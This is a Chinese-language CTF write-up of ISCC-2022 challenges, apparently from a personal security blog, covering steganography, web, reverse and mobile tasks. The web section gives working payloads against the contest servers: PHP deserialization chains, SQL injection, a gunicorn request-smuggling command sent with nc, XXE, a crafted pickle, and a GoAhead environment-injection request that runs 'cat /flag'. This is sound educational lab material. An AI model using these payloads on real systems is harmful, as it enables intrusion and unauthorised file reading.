ISCC-2022部分wp

字数统计: 3.8k字   |   阅读时长≈ 20分

pycc部分wp

注：本文所做题目时间和复现时间不一致，按照主办方每天中午更新flag，或许有不同

0x01 MISC

单板小将苏翊鸣

下载附件得到压缩包和图片
修改高度

image.png

扫码得到

image.png

image.png

所以密码为15942

得到

ISCC{beij-dbxj-2004}

降维打击

foremost分离

image.png

zsteg对00000567进行分析，发现在b1,r,lsb,yx通道存在一张png

image.png

分离得到

image.png

image.png

魔女文字对照得到flag

ISCC{RARC-ZQTX-EDKM}

藏在星空中的诗-1

psd图片用ps打开，不透明度设为100%

image.png

由图片可得顺序

1 3 5 2 4

然后

密码就是这些星星(个人没学过MISC，真心感觉有点脑残，仅个人观点（狗头）

RNM有的星星Ctrl+F都找不到

image.png

ISCC{CLUOLCDYZAWTFV}

真相只有一个

将png进行处理

zsteg -a entity.png

在b1,rgb,lsb,xy通道得到一个文本

提取一下

zsteg -E b1,rgb,lsb,xy entity.png > out2.png

image.png

对压缩包进行掩码爆破

image.png

解压后流量分析(stream+.zip里面的pcapng

发现password.mp3

并分离出来

image.png

得到

image.png

.. ... -.-. -.-. -- .. ... -.-.

得到
image.png

猜测是nsow隐写

image.png

image.png

ISCC{4Pbq-e9h2-r8AM}

隐秘的信息

image.png

image.png

十六进制转二进制

把空格消除

#s tr1 = len('01100110011001000011001000110101001101000110010000110000011001000011000001100100011001010110010001100001001101010011000000111001011001000011010100111001001100000110010001100100001101010011000001100100011001000011010000111001001101100011000100110000011001000011001100110101001100100011100101100101001101010011100100110101001101010011000001100101001100010110010000111001011001000011000100110100001110010110001100110101011001100011011101100110011000110011000000110001011001100011100000110000001100000011011101100110')
str1 = '01100110 01100100 00110010 00110101 00110100 01100100 00110000 0110010000110000 01100100 01100101 01100100 01100001 00110101 00110000 0011100101100100 00110101 00111001 00110000 01100100 01100100 00110101 0011000001100100 01100100 00110100 00111001 00110110 00110001 00110000 0110010000110011 00110101 00110010 00111001 01100101 00110101 00111001 0011010100110101 00110000 01100101 00110001 01100100 00111001 01100100 0011000100110100 00111001 01100011 00110101 01100110 00110111 01100110 0110001100110000 00110001 01100110 00111000 00110000 00110000 00110111 01100110'.replace(' ','')
print str1

ASCII码的二进制表达，是从 0000 0000 开始，到 0111 1111 结束

得到

01100110011001000011001000110101001101000110010000110000011001000011000001100100011001010110010001100001001101010011000000111001011001000011010100111001001100000110010001100100001101010011000001100100011001000011010000111001001101100011000100110000011001000011001100110101001100100011100101100101001101010011100100110101001101010011000001100101001100010110010000111001011001000011000100110100001110010110001100110101011001100011011101100110011000110011000000110001011001100011100000110000001100000011011101100110

image.png

ISCC{iBud7T7RXCMJyeT8vtRq}

0x02 WEB

冬奥会

<?php
show_source(__FILE__);
$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET['Information']);
if(is_array($info)){
var_dump($info);
is_numeric(@$info["year"])?die("Sorry~"):NULL;
if(@$info["year"]){
($info["year"]=2022)?$Step1=True:NULL;
}
if(is_array(@$info["items"])){
if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
$status = array_search("skiing", $info["items"]);
$status===false?die("Sorry~"):NULL;
foreach($info["items"] as $key=>$val){
$val==="skiing"?die("Sorry~"):NULL;
}
$Step2=True;
}
}
if($Step1 && $Step2){
include "2022flag.php";echo $flag;
}

当Step1和Step2都为True就输出flag

1、弱比较

2、数组长度为3，且第二个为数组，弱比较，遍历整个数组，其中skiing是强等于，所以只要数组中除了第二个有0即可

payload:

Information={"year":"2022a","items":[1,[2],0]}
Information={"year":"2022a","items":[0,[2],1]}

image.png

ISCC{W31com3_T0_Beijin9}

Pop2022

源码：

Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this-&gt;page = $file;
}
public function __toString(){
return $this-&gt;string-&gt;page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this-&gt;page)) {
echo "You can Not Enter 2022";
$this-&gt;page = "index.php";
}
}
}
class Try_Work_Hard{
protected  $var;
public function append($value){
include($value);
}
public function __invoke(){
$this-&gt;append($this-&gt;var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this-&gt;effort = array();
}
public function __get($key){
$function = $this-&gt;effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/

非常简单的构造，就不叙述过程了

exp：

<?php
class Road_is_Long{
public $page;
public $string;
 function __construct($file='ki10Moc'){
$this->page = $file;
}
}
class Try_Work_Hard{
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Make_a_Change{
public $effort;
}
$a = new Road_is_Long();
$a->string = new Make_a_Change();
$a->string->effort = new Try_Work_Hard();
$b = new Road_is_Long($a);
echo urlencode(serialize($b));

image.png

解码即可：

ISCC{P0p_Zi_aNd_P1p_Mei_Da1ly_life_2022}

Easy-SQL

?id=8 //出现回显，猜测可能是Mysql8

image.png

?id=8 union table emails limit 8,1 --+

image.png

访问压缩包下载

得到源码：

<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
   if ($conn->connect_errno) {
die("Connection failed: " . $conn->connect_errno);
} 
echo "Where is the database?"."<br>";
echo "try ?id";
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
if (preg_match($filter,$s))
return False;
return True;
}
if (isset($_GET['id'])) 
{
$id = $_GET['id'];
$sql = "select * from users where id=$id";
$safe = preg_match('/select/is', $id);
if($safe!==0)
die("No select!");
$result = mysqli_query($conn, $sql);
if ($result) 
{
$row = mysqli_fetch_array($result);
echo "<h3>" . $row['username'] . "</h3><br>";
echo "<h3>" . $row['passwd'] . "</h3>";
}
else
die('<br>Error!');
}
if (isset($_POST['username']) && isset($_POST['passwd'])) 
{
$username = strval($_POST['username']);
$passwd = strval($_POST['passwd']);
if ( !sqlWaf($passwd) )
die('damn hacker');
$sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['passwd'] )
{
if ($row['passwd'] == $passwd)
{
die($flag);
} else {
die("username or passwd wrong, are you admin?");
}
} else {
die("wrong user");
}
} else {
die("user not exist or wrong passwd");
}
}
mysqli_close($conn); 
?>

这里之前可以判断一共是3列

三列内容：id，username，password

满足username=admin并且password=password

username=-1' union values row("admin","admin","ki10Moc")#&passwd=ki10Moc

image.png
ISCC{Fdsfs219_19FdFasVEsd0f158_T0o_SFFsd12156fs_m1}

让我康康！

发现提示Try flag

image.png

但是无查询结果

发现服务器是gunicorn20.0.0

想到请求走私

gunicorn 20.0.4 请求走私漏洞简析（含复现环境&Poc）-Linux实验室 (linuxlz.com)

直接打

echo -en "GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 123\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: 127.0.0.1/fl4g\r\nX-Forwarded-For: 127.0.0.1\r\nsecr3t_ip: 127.0.0.1\r\nContent-Length: 35\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc 59.110.159.206 7020

这里的字段是回显的提示，但是复现的时候环境崩了

image.png

ISCC{AWEIweiwwwweeeiii_JJj9JJGg5GGG_NONONONO2022}

findme

浅析PHP原生类 - 安全客，安全资讯平台 (anquanke.com)

<?php
highlight_file(__FILE__);
class a{
public $un0;
public $un1;
public $un2;
public $un3;
public $un4;
public function __destruct(){
if(!empty($this->un0) && empty($this->un2)){
$this -> Givemeanew();
if($this -> un3 === 'unserialize'){
$this -> yigei();
}
else{
$this -> giao();
}
}
}
public function Givemeanew(){
$this -> un4 = new $this->un0($this -> un1);
}
public function yigei(){
echo 'Your output: '.$this->un4;
}
public function giao(){
@eval($this->un2);
}
public function __wakeup(){
include $this -> un2.'hint.php';
}
}
$data = $_POST['data'];
unserialize($data);

其中我在文章这里提到的一个小trick

image.png

再来看看源码，此处可以实现原生类的自声明和调用

$this -> un4 = new $this->un0($this -> un1);

__wakeup()中可以查看hint.php，那就先看一下hint.php

当然这是我最开始的写法，挺麻烦的，应该不是出题人的意思

<?php
class a
{
public $un0 = 'SplFileObject';
public $un1 = 'php://filter/read=convert.base64-encode/resource=hint.php';
public $un2;
public $un3 = 'unserialize';
public $un4;
}
echo serialize(new a());

按照出题人的意思应该这么写

<?php
class a
{
public $un0;
public $un1;
public $un2 = 'php://filter/read=convert.base64-encode/resource=';
public $un3;
public $un4;
}
echo serialize(new a());

这样就可以直接读取hint.php，不需要去看前面的if，直接执行的

得到信息

<?php$a = 'flag在当前目录下以字母f开头的txt中,无法爆破出来';

下面就是找这样的文件

可以用Directorylterator也可以用Filesystemlterator

当然最好是使用Globlterator，行为类似glob()

在网上看到的一些在Globlterator下依然使用glob协议去读文件就挺….没必要的

<?php
class a
{
public $un0 = 'GlobIterator';
public $un1 = 'f*.txt';
public $un2;
public $un3 = 'unserialize';
public $un4;
}
echo serialize(new a());

image.png

那最后再去读这个文件即可

<?php
class a
{
public $un0 = 'SplFileObject';
public $un1 = 'fSSSbis19k_sdW15dMe.txt';
public $un2;
public $un3 = 'unserialize';
public $un4;
}
echo serialize(new a());

image.png

ISCC{DS19sdw_SssfDA10nK_2077yyyyNNNN}

这是一道代码审计题

/index访问，login改成1

得到emoji

image.png

base100解码得到

源码：

def geneSign():
if(control_key==1):
return render_template("index.html")
else:
return "You have not access to this page!"
def check_ssrf(url):
hostname = urlparse(url).hostname
try:
if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
raise BaseException("url format error")
if  re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
if judge_ip(hostname):
return True
return False, "You not get the right clue!"
else:
ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
if is_inner_ipaddress(ip_address):
return False,"inner ip address attack"
else:
return False, "You not get the right clue!"
except BaseException as e:
return False, str(e)
except:
return False, "unknow error"
def ip2long(ip_addr):
return struct.unpack("!L", socket.inet_aton(ip_addr))[0]
def is_inner_ipaddress(ip):
ip = ip2long(ip)
print(ip)
return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24
def waf1(ip):
forbidden_list = [ '.', '0', '1', '2', '7']
for word in forbidden_list:
if ip and word:
if word in ip.lower():
return True
return False
def judge_ip(ip):
if(waf1(ip)):
return Fasle
else:
addr = addr.encode(encoding = "utf-8")
ipp = base64.encodestring(addr)
ipp = ipp.strip().lower().decode()
if(ip==ipp):
global control_key
control_key = 1
return True
else:
return False

目的是要绕过judge_ip并且ip=ipp

image.png
mti3ljaumc4x

替换cookie

image.png

image.png

/mti3ljaumc4x请求，可以看到ajax，xml

image.png

并且在title处可以看到flag.txt

<html>
<head>
<title>./flag.txt</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
 <script type="text/javascript">
function codelogin(){
var name = $("#name").val();
var password = $("#password").val();
if(name == "" || word == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><name>" + name + "</name><password>" + password + "</password></user>";
$.ajax({
contentType: "application/xml;charset=utf-8",
type: "POST",
url: "codelogin",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
</script>
</head>
<body>
 <form>
 <div  id="loginFormMain">
 <table  style="width:468px;height:262px;background-color: gray;text-align: center;">
  <tr>
 <th colspan="2" align="center" >登录</th>
  </tr>
  <tr>
  <td>用户名:<input id="name" type="text" style="width: 200px;height: 30px;"  name="name"></td>
  </tr>
  <tr>
  <td>密  码:<input id="password" type="password"  style="width: 200px;height: 30px;"  name="password"></td>
  </tr>
  <tr>
  <td align="center" ><input type="button" style="cursor: pointer;font-style: inherit;" name="next"  value="login" οnclick="javascript:codelogin()" />
  </tr>
 </table>
 </div>
  </form>
</body>
</html>

在codelogin方法中

定义了请求方式和请求的数据，数据就是data，直接抄下来

xxe构造一下


]>
<user><name>
&ki10Moc;
</name>
<password>password
</password></user>

image.png

ISCC{jQvb8-aqQxRlOpBVtrX19-0579i8c-ew08Sq0xf}

爱国敬业好青年-2

题目一般靠猜，一半靠蒙

反正就是天安门广场

image.png

image.png

三个页面 info flag change

image.png

116.41021
39.92267

image.png

116°24′E
39°55'N

但这样得到的并不对

应该可能是数据有偏差

image.png

经过测试后修改下数据

116°23′E
39°54'N

image.png

ISCC{w179Qxxs_1QvPlNmSzX08vE_a18s_1q1846NO}

0x03 REVERSE

Amy's Code

image.png

image.png

v4的值付给v3传入sub_4115FF

之后给sub_411433运算

exp：

str1 = [149,169,137,134,212,188,177,184,177,197,192,179,153,172,152,123,164,193,113,184]
str2 = [76,87,72,70,85,69,78,71,68,74,71,69,70,72,89,68,72,73,71,74]
code = []
flag =''
str_len = len(str2)
for i in range(str_len):
code.append(str1[i]-str2[i])
print(code)
for i in range(str_len):
flag += chr(code[i] ^ i)
print(flag)
//[73, 82, 65, 64, 127, 119, 99, 113, 109, 123, 121, 110, 83, 100, 63, 55, 92, 120, 42, 110]

ISCC{reverse_i18Li8}

0x04 MOBILE

MOBILEA

全局搜索关键字iscc

首先来看下Jlast函数

private boolean Jlast(String str) {
try {
MessageDigest instance = MessageDigest.getInstance("MD5");
new encode.BASE64Encoder();
String encode = encode.BASE64Encoder.encode(instance.digest(str.getBytes("utf-8")));
if (encode.length() != 24) {
return false;
}
char[] cArr = new char[encode.length()];
boolean z = false;
int i = 0;
for (int i2 = 5; i2 >= 0; i2--) {
if (!z) {
for (int i3 = 3; i3 >= 0; i3--) {
cArr[i] = encode.charAt((i3 * 6) + i2);
i++;
}
z = true;
} else {
for (int i4 = 0; i4 <= 3; i4++) {
cArr[i] = encode.charAt((i4 * 6) + i2);
i++;
}
z = false;
}
}
if (String.valueOf(cArr).equals("=IkMBb+=gF2/Try5PCUruw1j")) {
return true;
}

将内容逆回去

package mobile;
public class k {
public static void main(String[] args) {
char[] cArr = new char[24];
String a = "=IkMBb+=gF2/Try5PCUruw1j";
boolean z = false;
int i = 0;
for (int i2 = 5; i2 >= 0; i2--) {
if (!z) {
for (int i3 = 3; i3 >= 0; i3--) {
cArr[(i3 * 6) + i2] = a.charAt(i);
i++;
}
z = true;
} else {
for (int i4 = 0; i4 <= 3; i4++) {
cArr[(i4 * 6) + i2] = a.charAt(i);
i++;
}
z = false;
}
}
System.out.println(cArr);
}
}

image.png

image.png

MD5解密

image.png

得到_到}的内容

再来看AES的部分


try {
byte[] bytes = new String(Base64.encode("K@e2022%%y".getBytes(StandardCharsets.UTF_8), 0)).replace("\n", "").getBytes(StandardCharsets.UTF_8);
byte[] bytes2 = new String(Base64.encode("I&V2022***".getBytes(StandardCharsets.UTF_8), 0)).replace("\n", "").getBytes(StandardCharsets.UTF_8);
byte[] bytes3 = str.substring(5, i).getBytes(StandardCharsets.UTF_8);
SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, "AES");
IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2);
Cipher instance = Cipher.getInstance("AES/CBC/PKCS7Padding");
instance.init(1, secretKeySpec, ivParameterSpec);
if (new String(Base64.encode(Base64.encodeToString(instance.doFinal(bytes3), 2).getBytes(StandardCharsets.UTF_8), 0)).replace("\n", "").equals("ZHNGazZsRGM1MXZ4VnQ1bUdadEptNDJaUkVqY2lyOFlQcEhEUGs5cDJxWT0=")) {
return true;
}
return false;
} catch (Exception e) {
e.printStackTrace();
}
}

这里可以得到秘钥和偏移量

将内容（ZHNGazZsRGM1MXZ4VnQ1bUdadEptNDJaUkVqY2lyOFlQcEhEUGs5cDJxWT0=）base64解密后

拿去解密即可得到{后到_的内容

image.png

和leaf组合起来就是

ISCC{JFV(*&TFVcfgtyui_leaf}

擂台

0x01 MISC

666

08→00

image.png

image.png

新的图片修改高度

image.png

得到密码 !@#$%678()_+

流量分析

image.png

https://www.cnblogs.com/konglingdi/p/14998301.html

得到gif图片

image.png

第六帧出现

SE1ERWt1eTo4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==

第十六帧出现

image.png

pQLKpP/

第二十六帧出现

image.png

EPmw301eZRzuYvQ==

九键密码

image.png

aes解密得到flag
image.png

ISCC{lbwmeiyoukaig}

0x02 WEB

Melody

~本人信息收集能力很弱~能得到的信息很少

image.png

image.png
给了参数

image.png

看下配置文件(框架是flask的

image.png

查找关键字秘钥

image.png

秘钥：

meldoy-is-so-cute-wawawa!

伪造一下

image.png

eyJ1c2VybmFtZSI6ImFkbWluIn0.YnHhUw.Doua6BXcMvBlLiF30ytOcDVBqZQ

image.png

没有flag

F12

源码如下：

# -*- coding:utf-8 -*-
import pickle
import melody
import base64
from flask import Flask, Response,request
class register:
def __init__(self,name,password):
self.name = name
self.password = password
def __eq__(self, other):
return type(other) is register and self.name == other.name and self.password == other.password
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module[0:8] == '__main__':
return getattr(sys.modules['__main__'],name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def find(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/therealflag', methods=['GET','POST'])
def realflag():
if request.method == 'POST':
try:
data = request.form.get('melody')
if b'R' in base64.b64decode(data):
return 'no reduce'
else:
result = find(base64.b64decode(data))
if type(result) is not register:
return 'The type is not correct!'
correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug")))
if correct:
if session['username'] == 'admin':
return Response(read('./flag.txt'))
else:
return Response("You're not admin!")
except Exception as e:
return Response(str(e))
test = register('admin', '123456')
data = base64.b64encode(pickle.dumps(test)).decode()
return Response(data)

看下逻辑，在therealflag路由下，使用用户melody，密码hug注册就会返回flag

这里还需要对内容序列化，R操作码被ban了

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# @Time: 2022/5/4 19:40
# @Author  : ki10Moc
# @FileName: exp.py
# @Software: PyCharm
# Link: ki10.top
import pickle
import base64
class register:
def __init__(self,name,password):
self.name = name
self.password = password
def __eq__(self, other):
return type(other) is register and self.name == other.name and self.password == other.password
result = register("melody","hug")
a = pickle.dumps(result)
print(base64.b64encode(a))

melody传参，在therealflag路由下操作即可

ISCC{2022_melody_secrets}

ping2rce

寒假看到P牛发的GoAhead的PDF，当时就瞟了一眼，然后坐牢半天，早知道当时就好好复现了呜呜呜

GoAhead环境变量注入复现踩坑记 - 跳跳糖 (tttang.com)

image.png

只需要这两个部分替换，发送一个multipart数据包，通过表单来注入环境变量

POST /cgi-bin/ping?ip=0.0.0.0 HTTP/1.1
Host: 59.110.159.206:8010
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Length: 190
------WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Disposition: form-data; name="BASH_FUNC_ping%%"
Content-Type: text/plain
() { cat /flag; }
------WebKitFormBoundarylNDKbe0ngCGdEiPM--

image.png

ISCC{c1522169-7dcvd499-4add960-9ad36-8b2a5f2f7}


赏

谢谢你请我吃糖果

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tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

俗话说“好记性不如烂笔头”，各个安全社区各自为战，当我们想要搜索某一方面的文章的时候总是得在各个平台之间来回横跳，于是乎，一个平台文章聚合搜索的想法诞生了。
然后正好我想有一个自己的博客，于是乎两者融合在了一起。
下面简单介绍各个导航的区别：
个人文章：本人的笔记、复现、总结等或者本人参与的共同创作。
收集文章：手工从公众号收集保存的文章，更新频率看本人喜好所以比较慢。
聚合文章：从各大平台收集整理，由工具实现，每天更新。
很惭愧，只做了一点微小的工作。